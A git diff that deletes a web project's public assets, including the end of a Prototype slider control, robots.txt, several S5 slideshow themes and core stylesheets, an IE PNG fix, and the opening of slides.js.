-  },
-  maximumOffset: function(){
-    return(this.isVertical() ?
-      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
-        this.track.style.height.replace(/px$/,"")) - this.alignY :
-      (this.track.offsetWidth != 0 ? this.track.offsetWidth :
-        this.track.style.width.replace(/px$/,"")) - this.alignX);
-  },
-  isVertical:  function(){
-    return (this.axis == 'vertical');
-  },
-  drawSpans: function() {
-    var slider = this;
-    if (this.spans)
-      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
-    if (this.options.startSpan)
-      this.setSpan(this.options.startSpan,
-        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
-    if (this.options.endSpan)
-      this.setSpan(this.options.endSpan,
-        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
-  },
-  setSpan: function(span, range) {
-    if (this.isVertical()) {
-      span.style.top = this.translateToPx(range.start);
-      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
-    } else {
-      span.style.left = this.translateToPx(range.start);
-      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
-    }
-  },
-  updateStyles: function() {
-    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
-    Element.addClassName(this.activeHandle, 'selected');
-  },
-  startDrag: function(event) {
-    if (Event.isLeftClick(event)) {
-      if (!this.disabled){
-        this.active = true;
-
-        var handle = Event.element(event);
-        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
-        var track = handle;
-        if (track==this.track) {
-          var offsets  = this.track.cumulativeOffset();
-          this.event = event;
-          this.setValue(this.translateToValue(
-           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
-          ));
-          var offsets  = this.activeHandle.cumulativeOffset();
-          this.offsetX = (pointer[0] - offsets[0]);
-          this.offsetY = (pointer[1] - offsets[1]);
-        } else {
-          // find the handle (prevents issues with Safari)
-          while((this.handles.indexOf(handle) == -1) && handle.parentNode)
-            handle = handle.parentNode;
-
-          if (this.handles.indexOf(handle)!=-1) {
-            this.activeHandle    = handle;
-            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
-            this.updateStyles();
-
-            var offsets  = this.activeHandle.cumulativeOffset();
-            this.offsetX = (pointer[0] - offsets[0]);
-            this.offsetY = (pointer[1] - offsets[1]);
-          }
-        }
-      }
-      Event.stop(event);
-    }
-  },
-  update: function(event) {
-   if (this.active) {
-      if (!this.dragging) this.dragging = true;
-      this.draw(event);
-      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
-      Event.stop(event);
-   }
-  },
-  draw: function(event) {
-    var pointer = [Event.pointerX(event), Event.pointerY(event)];
-    var offsets = this.track.cumulativeOffset();
-    pointer[0] -= this.offsetX + offsets[0];
-    pointer[1] -= this.offsetY + offsets[1];
-    this.event = event;
-    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
-    if (this.initialized && this.options.onSlide)
-      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
-  },
-  endDrag: function(event) {
-    if (this.active && this.dragging) {
-      this.finishDrag(event, true);
-      Event.stop(event);
-    }
-    this.active = false;
-    this.dragging = false;
-  },
-  finishDrag: function(event, success) {
-    this.active = false;
-    this.dragging = false;
-    this.updateFinished();
-  },
-  updateFinished: function() {
-    if (this.initialized && this.options.onChange)
-      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
-    this.event = null;
-  }
-});
\ No newline at end of file
diff --git a/public/robots.txt b/public/robots.txt
deleted file mode 100644
index 4ab9e89f..00000000
--- a/public/robots.txt
+++ /dev/null
@@ -1 +0,0 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
\ No newline at end of file
diff --git a/public/s5/themes/blue/bodybg.gif b/public/s5/themes/blue/bodybg.gif
deleted file mode 100644
index 9f1c257b..00000000
Binary files a/public/s5/themes/blue/bodybg.gif and /dev/null differ
diff --git a/public/s5/themes/blue/footbg.gif b/public/s5/themes/blue/footbg.gif
deleted file mode 100644
index 6fe83f2c..00000000
Binary files a/public/s5/themes/blue/footbg.gif and /dev/null differ
diff --git a/public/s5/themes/blue/pretty.css b/public/s5/themes/blue/pretty.css
deleted file mode 100644
index e0face5b..00000000
--- a/public/s5/themes/blue/pretty.css
+++ /dev/null
@@ -1,112 +0,0 @@
-/* Blue Theme 2004 by Martin Hense :::www.lounge7.de */
-
-html {background:#000294 url(splash.gif) right bottom no-repeat;}
-body {color:#FFF;font-size:1.6em}
-a {text-decoration:none;color:#336;border-bottom:1px dotted}
-:link, :visited {text-decoration:none;color:#F8B73E}
-h1, h2, h3, h4 {font-size:100%;margin:0;padding:0;font-weight:inherit}
-h1 abbr {font-variant:small-caps}
-ul, pre {margin:0;line-height:1em}
-em {color:#c60}
-strong {font-weight:bold}
-html, body {margin:0;padding:0}
-
-blockquote, q {font-style:italic}
-blockquote {padding:0 2em 0.5em;margin:0 1.5em 0.5em;
-  text-align:center;font-size:1em}
-blockquote p {margin:0}
-blockquote i {font-style:normal}
-blockquote b {display:block;margin-top:0.5em;font-weight:normal;
-  font-size:smaller;font-style:normal}
-blockquote b i {font-style:italic}
-
-kbd {font-weight:bold;font-size:1em}
-sup {font-size:smaller;line-height:1px}
-
-.slide code {padding:2px 0.25em;font-weight:bold;color:#AAABF8}
-.slide code.bad, code del {color:red}
-.slide code.old {color:silver}
-.slide pre {padding:0;margin:0.25em 0 0.5em 0.5em;color:#533;font-size:90%}
-.slide pre code {display:block}
-.slide ul {margin-left:5%;margin-right:7%;list-style:disc}
-.slide li {margin-top:0.75em;margin-right:0}
-.slide ul ul {line-height:1}
-.slide ul ul li {margin:.2em;font-size:85%;list-style:square}
-.slide img.leader {display:block;margin:0 auto}
-
-div#header, div#footer {width:100%;top:0;left:0}
-div#header, div#footer {background:#005;color:#9183BF;
-  font-family:Verdana, Helvetica, sans-serif}
-div#header {background:#005 url(bodybg.gif) -16px 0 no-repeat;}
-div#footer {font-size:0.5em;font-weight:bold;padding:.75em 0;top:auto;
-  bottom:0px;border-top:1px solid #08093F;
-  background:#000136 url(footbg.gif) top right no-repeat}
-#footer h1, #footer h2 {display:block;padding:0 1em}
-#footer h2 {font-style:italic}
-
-div.slide {top:0px;width:92%;padding:32px 4% 4%;overflow:visible;
-  font-family:georgia, Times, 'Times New Roman', serif;
-  background:transparent url(bodybg.gif) -16px 0 repeat-x}
-div.slide h1 {position:absolute;left:87px;z-index:1;
-  white-space:nowrap;text-transform:capitalize;top:0;width:80%;
-  margin:0px auto;text-align:center;padding:0px;
-  font:36px georgia, Times, 'Times New Roman', serif;
-  color:#fff;background:transparent}
-div.slide h3 {font-size:130%}
-div.long {font-size:0.75em}
-
-div#controls {position: absolute; left: 60%; bottom: 0;
-  width: 40%;
-  text-align: right; font: bold 0.9em Verdana, Helvetica, sans-serif;}
-html>body div#controls {position: fixed; padding: 0; top: auto;}
-#controls :active {color:#88A !important}
-#controls :focus {outline:1px dotted #227}
-#controls #navLinks a {padding: 0; margin: 0 0.5em; 
-  border: none; color: #779; 
-  cursor: pointer;}
-#controls #navList {height:1.25em}
-#controls #navList #jumplist {background: #DDD; color: #227;}
-
-
-#currentSlide {font-size:0.5em;font-family:Verdana,Helvetica,sans-serif;
-  text-align:center;color:#9183BF}
-#currentSlide span {font-size:13px;color:#fff}
-#currentSlide #csSep {display:none}
-#currentSlide #csHere {font-weight:bold}
-#currentSlide #csHere:before {content:"#";font-weight:normal}
-#currentSlide #csTotal:before {content:" of "}
-
-#slide0 {padding:3.5em 0 0.5em 0;font-size:90%;width:100%}
-#slide0 h1 {color:#fff;background:transparent;width:75%;text-align:center;
-  position:static;margin:1em auto;padding:0px;white-space:normal;
-  font:2em Georgia, Times, 'Times New Roman', serif;}
-#slide0 h2 {margin:1em 0 2em 0;text-align:center;color:#fff}
-#slide0 h3, #slide0 h4, #slide0 p {margin:0.25em;text-align:center;color:#fff}
-#slide0 p {margin-top:0.7em}
-
-ul.urls {list-style:none;display:inline;margin:0}
-.urls li {display:inline;margin:0}
-.note {display:none}
-
-.incremental, .incremental *, .incremental *:after, .incremental code
-  {color:#000295;visibility:visible}
-img.incremental {visibility:hidden}
-.incremental *[stroke], .incremental *[fill], .incremental *[stroke] *, .incremental *[fill] * {visibility:hidden}
-.slide .current {color:#B02}
-.flushtop {margin-top:0px}
-.slide .plaintable td {border:1px solid #FFF!important}
-.slide .noborder td, .slide .noborder th {border:0!important}
-
-/* diagnostics
-li:after {content:" [" attr(class) "]";color:#F88}
-*/
-pre.ruby span.ident { color: #AAF; }
-pre.ruby span.punct { color: #9C8CFF; }
-pre.yaml span.punct { color: #99F; font-weight: bold; }
-pre.ansic span.other, pre.ansic span.ident { color: #FFF; }
-pre.sqlite span.other, pre.sqlite span.ident { color: #FFF; }
-pre.javascript span.ident { color: #FFF; }
-pre.javascript .other { color: #F0F; }
-pre.css21 span.ident { color: #FFF; }
-pre.javascript span.comment { color: #88F; }
-pre.xml span.punct { color: #8DF; font-weight: bold; }
\ No newline at end of file
diff --git a/public/s5/themes/blue/slides.css b/public/s5/themes/blue/slides.css
deleted file mode 100644
index 3637d728..00000000
--- a/public/s5/themes/blue/slides.css
+++ /dev/null
@@ -1,3 +0,0 @@
-@import url(../../ui/core/s5-core.css); /* required to make the slide show run at all */
-@import url(../../ui/core/framing.css); /* sets basic placement and size of slide components */
-@import url(pretty.css);  /* stuff that makes the slides look better than blah */
diff --git a/public/s5/themes/blue/splash.gif b/public/s5/themes/blue/splash.gif
deleted file mode 100644
index 938a0795..00000000
Binary files a/public/s5/themes/blue/splash.gif and /dev/null differ
diff --git a/public/s5/themes/default/pretty.css b/public/s5/themes/default/pretty.css
deleted file mode 100644
index 6320ee57..00000000
--- a/public/s5/themes/default/pretty.css
+++ /dev/null
@@ -1,84 +0,0 @@
-/* Following are the presentation styles -- edit away! */
-
-body {background: #FFF; color: #000; font-size: 1.6em;}
-:link, :visited {text-decoration: none; color: #00C;}
-#controls :active {color: #8A8 !important;}
-#controls :focus {outline: 1px dotted #272;}
-h1, h2, h3, h4 {font-size: 100%; margin: 0; padding: 0; font-weight: inherit;}
-ul, pre {margin: 0; line-height: 1em;}
-html, body {margin: 0; padding: 0;}
-
-blockquote, q {font-style: italic;}
-blockquote {padding: 0 2em 0.5em; margin: 0 1.5em 0.5em; text-align: center; font-size: 1em;}
-blockquote p {margin: 0;}
-blockquote i {font-style: normal;}
-blockquote b {display: block; margin-top: 0.5em; font-weight: normal; font-size: smaller; font-style: normal;}
-blockquote b i {font-style: italic;}
-
-kbd {font-weight: bold; font-size: 1em;}
-sup {font-size: smaller; line-height: 1px;}
-
-.slide code {padding: 2px 0.25em; font-weight: bold; color: #533;}
-.slide code.bad, code del {color: red;}
-.slide code.old {color: silver;}
-.slide pre {padding: 0; margin: 0.25em 0 0.5em 0.5em; color: #533; font-size: 90%;}
-.slide pre code {display: block;}
-.slide ul {margin-left: 5%; margin-right: 7%; list-style: disc;}
-.slide li {margin-top: 0.75em; margin-right: 0;}
-.slide ul ul {line-height: 1;}
-.slide ul ul li {margin: .2em; font-size: 85%; list-style: square;}
-.slide img.leader {display: block; margin: 0 auto;}
-
-.incremental code {color: #DDE; visibility: visible;}
-
-div#header, div#footer {background: #050; color: #ABA;
-  font-family: Verdana, Helvetica, sans-serif;}
-div#footer {font-size: 0.5em; font-weight: bold; padding: 1em 0;}
-#footer h1, #footer h2 {display: block; padding: 0 1em;}
-#footer h2 {font-style: italic;}
-
-div.long {font-size: 0.75em;}
-.slide h1 {position: absolute; top: 0em; left:0em; z-index: 1;
-  margin: auto; padding: 0.3em 0 0 50px; white-space: nowrap;
-  font: bold 150%/1em Helvetica, sans-serif; text-transform: capitalize;
-  color: #CCC; background: #050;}
-.slide h3 {font-size: 130%;}
-h1 abbr {font-variant: small-caps;}
-
-div#controls {position: absolute; left: 60%; bottom: 0;
-  width: 40%;
-  text-align: right; font: bold 0.9em Verdana, Helvetica, sans-serif;}
-html>body div#controls {position: fixed; padding: 0; top: auto;}
-#controls #navLinks a {padding: 0; margin: 0 0.5em; 
-  background: #050; border: none; color: #797; 
-  cursor: pointer;}
-#controls #navList #jumplist {background: #DDD; color: #272;}
-
-#currentSlide, #currentSlide a {text-align: center; font-size:.75em; color: #DED;}
-
-#slide0 {padding-top: 3.5em; font-size: 90%;}
-#slide0 h1 {position: static; margin: 1em 0 0; padding: 0;
-   font: bold 2em Helvetica, sans-serif; white-space: normal;
-   color: #000; background: transparent;}
-#slide0 h2 {font: bold italic 1em Helvetica, sans-serif; margin: 0.25em;}
-#slide0 h3 {margin-top: 1.5em; font-size: 1.5em;}
-#slide0 h4 {margin-top: 0; font-size: 1em;}
-
-ul.urls {list-style: none; display: inline; margin: 0;}
-.urls li {display: inline; margin: 0;}
-.note {display: none;}
-.external {border-bottom: 1px dotted gray;}
-html>body .external {border-bottom: none;}
-.external:after {content: " \274F"; font-size: smaller; color: #77B;}
-
-.incremental, .incremental *, .incremental *:after {color: #DDE; visibility: visible;}
-img.incremental {visibility: hidden;}
-.incremental *[stroke], .incremental *[fill], .incremental *[stroke] *, .incremental *[fill] * {visibility:hidden}
-.slide .current {color: #B02;}
-
-.flushtop {margin-top:0px}
-
-/* diagnostics
-
-li:after {content: " [" attr(class) "]"; color: #F88;}
- */
diff --git a/public/s5/themes/default/slides.css b/public/s5/themes/default/slides.css
deleted file mode 100644
index 3637d728..00000000
--- a/public/s5/themes/default/slides.css
+++ /dev/null
@@ -1,3 +0,0 @@
-@import url(../../ui/core/s5-core.css); /* required to make the slide show run at all */
-@import url(../../ui/core/framing.css); /* sets basic placement and size of slide components */
-@import url(pretty.css);  /* stuff that makes the slides look better than blah */
diff --git a/public/s5/themes/flower/bodybg.jpg b/public/s5/themes/flower/bodybg.jpg
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index 248743c9..00000000
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diff --git a/public/s5/themes/flower/pretty.css b/public/s5/themes/flower/pretty.css
deleted file mode 100644
index b6babcb5..00000000
--- a/public/s5/themes/flower/pretty.css
+++ /dev/null
@@ -1,99 +0,0 @@
-/* Flower Theme 2004 by Martin Hense :::www.lounge7.de */
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diff --git a/public/s5/themes/flower/rightbg.jpg b/public/s5/themes/flower/rightbg.jpg
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diff --git a/public/s5/themes/flower/slides.css b/public/s5/themes/flower/slides.css
deleted file mode 100644
index 3637d728..00000000
--- a/public/s5/themes/flower/slides.css
+++ /dev/null
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-@import url(../../ui/core/s5-core.css); /* required to make the slide show run at all */
-@import url(../../ui/core/framing.css); /* sets basic placement and size of slide components */
-@import url(pretty.css);  /* stuff that makes the slides look better than blah */
diff --git a/public/s5/themes/i18n/bodybg.jpg b/public/s5/themes/i18n/bodybg.jpg
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index 6be0296d..00000000
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diff --git a/public/s5/themes/i18n/pretty.css b/public/s5/themes/i18n/pretty.css
deleted file mode 100644
index 3e0e38ee..00000000
--- a/public/s5/themes/i18n/pretty.css
+++ /dev/null
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-/* Following is i18n theme -- edit away! */
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-#controls :active {color:#88A !important}
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diff --git a/public/s5/themes/i18n/slides.css b/public/s5/themes/i18n/slides.css
deleted file mode 100644
index 3637d728..00000000
--- a/public/s5/themes/i18n/slides.css
+++ /dev/null
@@ -1,3 +0,0 @@
-@import url(../../ui/core/s5-core.css); /* required to make the slide show run at all */
-@import url(../../ui/core/framing.css); /* sets basic placement and size of slide components */
-@import url(pretty.css);  /* stuff that makes the slides look better than blah */
diff --git a/public/s5/themes/nautilus/bodybg.gif b/public/s5/themes/nautilus/bodybg.gif
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diff --git a/public/s5/themes/nautilus/pretty.css b/public/s5/themes/nautilus/pretty.css
deleted file mode 100644
index 66356dae..00000000
--- a/public/s5/themes/nautilus/pretty.css
+++ /dev/null
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-/* Following is the default theme -- edit away! */
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diff --git a/public/s5/themes/nautilus/slides.css b/public/s5/themes/nautilus/slides.css
deleted file mode 100644
index 3637d728..00000000
--- a/public/s5/themes/nautilus/slides.css
+++ /dev/null
@@ -1,3 +0,0 @@
-@import url(../../ui/core/s5-core.css); /* required to make the slide show run at all */
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deleted file mode 100644
index 766fcb77..00000000
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-
-#currentSlide {color:#646587;text-align:center;font-size:0.5em;
-  font-family:Verdana, Helvetica, sans-serif;font-weight:bold}
-#currentSlide span {font-size:13px;color:#08093F}
-#currentSlide #csSep {display:none}
-#currentSlide #csHere {font-weight:bold}
-#currentSlide #csHere:before {content:"#";font-weight:normal}
-#currentSlide #csTotal:before {content:" of "}
-
-#slide0 {padding-top:64px;font-size:90%; width:96%}
-#slide0 h1 {position:static;white-space:normal;
-  margin:0;padding:128px 60px 0 60px;text-align:right;
-  font:bold 2em Helvetica,sans-serif;white-space:normal;height:200px;
-  color:#fff;background:transparent url(slide0bg.gif) no-repeat}
-#slide0 h2 {font-size:1em;padding:0;margin:0.25em;}
-#slide0 h3 {margin-bottom:20px;margin-top:0.5em;font-size:1.5em}
-#slide0 h4 {margin-bottom:4px;margin-top:0;font-size:1em}
-
-ul.urls {list-style:none;display:inline;margin:0}
-.urls li {display:inline;margin:0}
-.note {display:none}
-.urls li {display:inline;margin:0}
-.note {display:none}
-.external {border-bottom:1px dotted gray}
-html>body .external {border-bottom:none}
-.external:after {content:" \274F";font-size:smaller;color:#77B}
-
-.incremental, .incremental *, .incremental *:after, .incremental code
-  {color:#DDE;visibility:visible}
-img.incremental {visibility:hidden}
-.incremental *[stroke], .incremental *[fill], .incremental *[stroke] *, .incremental *[fill] * {visibility:hidden}
-.slide .current {color:#B02}
-.flushtop {margin-top:0px}
-
-/* diagnostics
-li:after {content:" [" attr(class) "]";color:#F88}
-*/
diff --git a/public/s5/themes/pixel/slide0bg.gif b/public/s5/themes/pixel/slide0bg.gif
deleted file mode 100644
index fffb08a2..00000000
Binary files a/public/s5/themes/pixel/slide0bg.gif and /dev/null differ
diff --git a/public/s5/themes/pixel/slides.css b/public/s5/themes/pixel/slides.css
deleted file mode 100644
index 3637d728..00000000
--- a/public/s5/themes/pixel/slides.css
+++ /dev/null
@@ -1,3 +0,0 @@
-@import url(../../ui/core/s5-core.css); /* required to make the slide show run at all */
-@import url(../../ui/core/framing.css); /* sets basic placement and size of slide components */
-@import url(pretty.css);  /* stuff that makes the slides look better than blah */
diff --git a/public/s5/ui/bg-shade.png b/public/s5/ui/bg-shade.png
deleted file mode 100755
index 172c914f..00000000
Binary files a/public/s5/ui/bg-shade.png and /dev/null differ
diff --git a/public/s5/ui/core/blank.gif b/public/s5/ui/core/blank.gif
deleted file mode 100644
index 75b945d2..00000000
Binary files a/public/s5/ui/core/blank.gif and /dev/null differ
diff --git a/public/s5/ui/core/bodybg.gif b/public/s5/ui/core/bodybg.gif
deleted file mode 100755
index 5f448a16..00000000
Binary files a/public/s5/ui/core/bodybg.gif and /dev/null differ
diff --git a/public/s5/ui/core/framing.css b/public/s5/ui/core/framing.css
deleted file mode 100644
index beeabafb..00000000
--- a/public/s5/ui/core/framing.css
+++ /dev/null
@@ -1,22 +0,0 @@
-/* The following styles size, place, and layer the slide components.
-   Edit these if you want to change the overall slide layout.
-   The commented lines can be uncommented (and modified, if necessary) 
-    to help you with the rearrangement process. */
-
-/* target = 1024x768 */
-
-div#header, div#footer, .slide {width: 100%; top: 0; left: 0;}
-div#header {top: 0; height: 2em; z-index: 1;}
-div#footer {top: auto; bottom: 0; height: 2.5em; z-index: 5;}
-.slide {top: 0; width: 92%; padding: 2.5em 4% 4% 1em; z-index: 2;  list-style: none;}
-div#controls {left: 50%; bottom: 0; width: 50%; z-index: 100;}
-div#controls form {text-align: right; width: 100%; margin: 0;}
-#currentSlide {position: absolute; width: 10%; left: 45%; bottom: 1em; z-index: 10;}
-html>body #currentSlide {position: fixed;}
-
-/*
-div#header {background: #FCC;}
-div#footer {background: #CCF;}
-div#controls {background: #BBD;}
-div#currentSlide {background: #FFC;}
-*/
diff --git a/public/s5/ui/core/iepngfix.htc b/public/s5/ui/core/iepngfix.htc
deleted file mode 100644
index bba2db75..00000000
--- a/public/s5/ui/core/iepngfix.htc
+++ /dev/null
@@ -1,42 +0,0 @@
-<public:component>
-<public:attach event="onpropertychange" onevent="doFix()" />
-
-<script>
-
-// IE5.5+ PNG Alpha Fix v1.0 by Angus Turnbull http://www.twinhelix.com
-// Free usage permitted as long as this notice remains intact.
-
-// This must be a path to a blank image. That's all the configuration you need here.
-var blankImg = 'ui/default/blank.gif';
-
-var f = 'DXImageTransform.Microsoft.AlphaImageLoader';
-
-function filt(s, m) {
- if (filters[f]) {
-  filters[f].enabled = s ? true : false;
-  if (s) with (filters[f]) { src = s; sizingMethod = m }
- } else if (s) style.filter = 'progid:'+f+'(src="'+s+'",sizingMethod="'+m+'")';
-}
-
-function doFix() {
- if ((parseFloat(navigator.userAgent.match(/MSIE (\S+)/)[1]) < 5.5) ||
-  (event && !/(background|src)/.test(event.propertyName))) return;
-
- if (tagName == 'IMG') {
-  if ((/\.png$/i).test(src)) {
-   filt(src, 'image');  // was 'scale'
-   src = blankImg;
-  } else if (src.indexOf(blankImg) < 0) filt();
- } else if (style.backgroundImage) {
-  if (style.backgroundImage.match(/^url[("']+(.*\.png)[)"']+$/i)) {
-   var s = RegExp.$1;
-   style.backgroundImage = '';
-   filt(s, 'crop');
-  } else filt();
- }
-}
-
-doFix();
-
-</script>
-</public:component>
\ No newline at end of file
diff --git a/public/s5/ui/core/math.css b/public/s5/ui/core/math.css
deleted file mode 100644
index 08b8495e..00000000
--- a/public/s5/ui/core/math.css
+++ /dev/null
@@ -1,79 +0,0 @@
-merror {display:inline;font-size:1em;}
-math[display=block] {overflow:auto;}
-math { white-space: nowrap }
-.maruku-eq-number {float:right}
-.blockquotesource {margin-left:1em;}
-table.plaintable {
-    border-collapse:collapse;
-    margin-left:30px;
-    border:0;
-}
-.plaintable td {border:1px solid #000; padding: 3px;}
-.plaintable th {padding: 3px;}
-.plaintable caption {
-    font-weight: bold;
-    font-size:1.1em;
-    text-align:center;
-    margin-left:30px;
-}
-.noborder td, .noborder th {border:0}
-body {counter-reset: theorem lemma proposition corollary definition example remark note}
-.un_theorem *, .num_theorem *,
-.un_lemma *, .num_lemma *,
-.un_prop *, .num_prop *,
-.un_cor *, .num_cor * {font-style: italic}
-span.theorem_label {font-style:normal; font-weight:bold;}
-.proof span.theorem_label {font-style:italic;}
-.num_theorem .theorem_label:after {
-   content: " " counter(theorem); counter-increment: theorem;}
-.num_lemma .theorem_label:after {
-   content: " " counter(lemma); counter-increment: lemma;}
-.num_prop .theorem_label:after {
-   content: " " counter(proposition); counter-increment: proposition;}
-.num_cor .theorem_label:after {
-   content: " " counter(corollary); counter-increment: corollary;}
-.num_defn .theorem_label:after {
-   content: " " counter(definition); counter-increment: definition;}
-.num_example .theorem_label:after {
-   content: " " counter(example); counter-increment: example;}
-.num_remark .theorem_label:after {
-   content: " " counter(remark); counter-increment: remark;}
-.num_note .theorem_label:after {
-   content: " " counter(note); counter-increment: note;}
-
-/* Hack for Mozilla bug 449396 */
-[mathvariant="bold"] *  {
-  font-style: normal;
-  font-variant: normal;
-  font-weight: bold;
-}
-[mathvariant="italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: normal;
-}
-[mathvariant="bold-italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: bold;
-}
-[mathvariant="sans-serif"] *  {
-  font-style: normal;
-  font-variant: normal;
-  font-weight: normal;
-}
-[mathvariant="bold-sans-serif"] *  {
-  font-style: normal;
-  font-variant: normal;
-  font-weight: bold;
-}
-[mathvariant="sans-serif-italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: normal;
-}
-[mathvariant="sans-serif-bold-italic"] *  {
-  font-style: italic;
-  font-variant: normal;
-  font-weight: bold;
-}
\ No newline at end of file
diff --git a/public/s5/ui/core/notes.css b/public/s5/ui/core/notes.css
deleted file mode 100644
index fc4ea717..00000000
--- a/public/s5/ui/core/notes.css
+++ /dev/null
@@ -1,123 +0,0 @@
-/* Following are the note styles -- edit away! */
-
-html { background: #333; color: #FFF; }
-body { 
-	margin: 0;
-	padding: 1.0em;
-	background: #333; 
-	color: #FFF;
-	font: 2em/1.4em 'Lucida Grande', Verdana, sans-serif;
-}
-
-div.timers {
-	background: #FFF;
-	color: #333;
-	border: 0.08em solid #222;
-	border-top-width: 1px;
-	border-left-width: 1px;
-	float: right;
-	padding: 0.2em;
-	margin: 0 0 0.5em;
-	position: relative;
-}
-
-div.timers h1 {
-	text-align: left;
-	font-size: 0.6em;
-	line-height: 1.4em;
-	background-color: #FF9;
-	padding: 0 0.75em;
-	margin: 0.25em 0 0;
-	border: 1px solid #EE8;
-}
-
-div.timers div.controls {
-	position: absolute;
-	right: 0.25em;
-	top: 0.1em;
-	line-height: 1em;
-}
-
-div.timers h1 a {
-	text-decoration: none;
-	color: #000;
-}
-
-div.timers div.controls a {
-	font-size: 0.5em;
-	padding: 0;
-	color: #330;
-}
-
-div.timers a.control {
-	position: absolute;
-	text-decoration: none;
-	padding: 0 0.25em;
-	color: #AAA;
-	outline: 0;
-}
-
-#minus {
-	left: 0.25em;
-}
-
-#plus {
-	right: 0.25em;
-}
-
-.overtime {
-	background: yellow;
-	color: red;
-	border: 3px solid;
-	padding: 0.1em 0.25em;
-	font-weight: bold;
-}
-
-div.timers h2 {
-	font-size: 0.6em;
-	line-height: 1.0em;
-	font-weight: normal;
-	margin: 0 0 -0.25em;
-	padding-top: 0.5em;
-	color: #666;
-}
-
-div.timers p {margin: 0; padding: 0 0.5em;}
-div.timers form {margin: 0;}
-
-div.timers span.clock {
-	font-family: monospace;
-}
-
-div.timers ul {margin: 0; padding: 0; list-style: none;}
-div.timers li {float: left; width: 5em; margin: 0; padding: 0 0.5em;
-  text-align: center;}
-
-div#elapsed {width: 12.1em;}
-div#remaining {clear: right; width: 12.1em;}
-div#remaining p {text-align: center;}
-
-#slide,
-#next,
-#notes,
-#nextnotes {
-	font-size: 0.75em;
-	line-height: 1.4em;
-	clear: left;
-/*	max-width: 30.0em; */
-	text-shadow: 0.1em 0.1em 0.1em #111;
-}
-
-#next {margin-top: 2.5em;}
-#next, #nextnotes {
-	color: #999;
-	font-size: 0.66em;
-}
-
-em.disclaimer {
-	color: #666;
-}
-
-div.collapsed h1 {display: block; font-size: 0.33em;}
-div.collapsed h1 a {display: inline;}
-div.collapsed * {display: none;}
diff --git a/public/s5/ui/core/opera.css b/public/s5/ui/core/opera.css
deleted file mode 100644
index 9e9d2a3c..00000000
--- a/public/s5/ui/core/opera.css
+++ /dev/null
@@ -1,7 +0,0 @@
-/* DO NOT CHANGE THESE unless you really want to break Opera Show */
-.slide {
-	visibility: visible !important;
-	position: static !important;
-	page-break-before: always;
-}
-#slide0 {page-break-before: avoid;}
diff --git a/public/s5/ui/core/outline.css b/public/s5/ui/core/outline.css
deleted file mode 100644
index 62db519e..00000000
--- a/public/s5/ui/core/outline.css
+++ /dev/null
@@ -1,15 +0,0 @@
-/* don't change this unless you want the layout stuff to show up in the outline view! */
-
-.layout div, #footer *, #controlForm * {display: none;}
-#footer, #controls, #controlForm, #navLinks, #toggle {
-  display: block; visibility: visible; margin: 0; padding: 0;}
-#toggle {float: right; padding: 0.5em;}
-html>body #toggle {position: fixed; top: 0; right: 0;}
-
-/* making the outline look pretty-ish */
-
-#slide0 h1, #slide0 h2, #slide0 h3, #slide0 h4 {border: none; margin: 0;}
-#slide0 h1 {padding-top: 1.5em;}
-.slide h1 {margin: 1.5em 0 0; padding-top: 0.25em;
-  border-top: 1px solid #888; border-bottom: 1px solid #AAA;}
-#toggle {border: 1px solid; border-width: 0 0 1px 1px; background: #FFF;}
diff --git a/public/s5/ui/core/print.css b/public/s5/ui/core/print.css
deleted file mode 100644
index e7a71d14..00000000
--- a/public/s5/ui/core/print.css
+++ /dev/null
@@ -1 +0,0 @@
-/* The following rule is necessary to have all slides appear in print! DO NOT REMOVE IT! */
.slide, ul {page-break-inside: avoid; visibility: visible !important;}
h1 {page-break-after: avoid;}

body {font-size: 12pt; background: white;}
* {color: black;}

#slide0 h1 {font-size: 200%; border: none; margin: 0.5em 0 0.25em;}
#slide0 h3 {margin: 0; padding: 0;}
#slide0 h4 {margin: 0 0 0.5em; padding: 0;}
#slide0 {margin-bottom: 3em;}

h1 {border-top: 2pt solid gray; border-bottom: 1px dotted silver;}
.extra {background: transparent !important;}
div.extra, pre.extra, .example {font-size: 10pt; color: #333;}
ul.extra a {font-weight: bold;}
p.example {display: none;}

#header {display: none;}
#footer h1 {margin: 0; border-bottom: 1px solid; color: gray; font-style: italic;}
#footer h2, #controls {display: none;}

/* The following rule keeps the layout stuff out of print.  Remove at your own risk! */
.layout, .layout * {display: none !important;}
\ No newline at end of file
diff --git a/public/s5/ui/core/s5-core.css b/public/s5/ui/core/s5-core.css
deleted file mode 100644
index ad1530b9..00000000
--- a/public/s5/ui/core/s5-core.css
+++ /dev/null
@@ -1,9 +0,0 @@
-/* Do not edit or override these styles! The system will likely break if you do. */
-
-div#header, div#footer, div#controls, .slide {position: absolute;}
-html>body div#header, html>body div#footer, 
-  html>body div#controls, html>body .slide {position: fixed;}
-.handout, .notes {display: none;}
-.layout {display: block;}
-.slide, .hideme, .incremental {visibility: hidden;}
-#slide0 {visibility: visible;}
diff --git a/public/s5/ui/core/slides.js b/public/s5/ui/core/slides.js
deleted file mode 100644
index c5ff3a29..00000000
--- a/public/s5/ui/core/slides.js
+++ /dev/null
@@ -1,856 +0,0 @@
-// S5 v1.2a2 slides.js -- released into the Public Domain
-// Many modifications by Jacques Distler to allow operation as real XHTML.
-//
-// Please see http://www.meyerweb.com/eric/tools/s5/credits.html for information 
-// about all the wonderful and talented contributors to this code!
-
-var undef;
-var slideCSS = '';
-var snum = 0;
-var smax = 1;
-var incpos = 0;
-var number = undef;
-var s5mode = true;
-var defaultView = 'slideshow';
